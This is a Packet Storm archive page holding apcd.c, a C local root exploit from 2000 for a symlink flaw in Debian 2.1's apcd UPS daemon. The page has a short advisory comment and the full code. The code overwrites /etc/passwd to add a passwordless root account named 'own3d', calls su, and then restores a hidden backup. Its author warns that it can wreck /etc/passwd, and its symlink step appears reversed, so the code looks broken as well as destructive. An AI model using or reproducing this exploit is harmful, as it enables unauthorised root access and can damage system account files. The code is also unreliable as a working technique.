what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

apcd.c

apcd.c
Posted Jun 19, 2000
Authored by WC

Debian 2.1 local root exploit - A vulnerability exists in the apcd package shipped with Debian 2.1.

tags | exploit, local, root
systems | linux, debian
SHA-256 | f7ca16d4ea9299fd7aef4c4a72b95848377702b1feeccf9d2d657e4193b25dbe

apcd.c

Change Mirror Download
/*

Apcd Local Xploit by wC (wildcoyote@gk-team.org)

Vulnerable Systems:

Debian GNU/Linux 2.1

WARNING: THIS CAN FUCK UP YOUR /etc/passwd ... :\
What i mean is, i create a copy of it..but,
i have to wait for the SIGUSR1 to be sent..
so r00t can become suscpicious :\
Oh well..if don't care :P

Advisorie:

A vulnerability exists in the apcd package, as shipped
in Debian GNU/Linux 2.1. By sending the apcd process a
SIGUSR1, a file will be created in /tmp called upsstat.
This file contains information about the status of the
APC device. This file is not opened securely, however,
and it is possible for an attacker to create a symlink
with this name to another place on the file system. This
could, in turn, lead to a compromise of the root account.

apcd is used to monitor information from APC
uninterruptable power supplies. The ups will inform the
apcd that power has been removed, and the apcd will shut
down the machine.

*/

#include <stdio.h>

main()
{
char buf[256];
FILE *fx1,*fx2;
printf("\n\tApcd Local Xploit by wC (wildcoyote@gk-team.org)\n\n");
printf("Setting up exploit...\n");
system("cp /etc/passwd /tmp/.hidden_passwd"); // backup passwd!
printf("Linking the upsstat tmp file to /etc/passwd...\n");
system("ln -sf /tmp/upsstat /etc/passwd");
printf("Done =)\n");
printf("Wait for SIGUSR1 to be sent...\n");
fx1=fopen("/tmp/.hidden_passwd","r");
fx2=fopen("/etc/passwd","a");
while(fgets(buf,256,fx1)!=NULL) fputs(buf,fx2);
fclose(fx1);
fputs("own3d::0:0:/:/bin/sh",fx2);
fclose(fx2);
printf("All done..lets try and su own3d :P\n");
system("su own3d");
printf("Oh k...fun is over =)\n");
printf("Now i'll put passwd back in its place :P\n");
system("mv /tmp/.hidden_passwd /etc/passwd");
printf("Hope everyting went out sm0thly..\n");
printf("Greetz to my team, Genetik Techonlogies www.gk-team.org\n\n");
}
/* www.hack.co.za [14 June]*/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close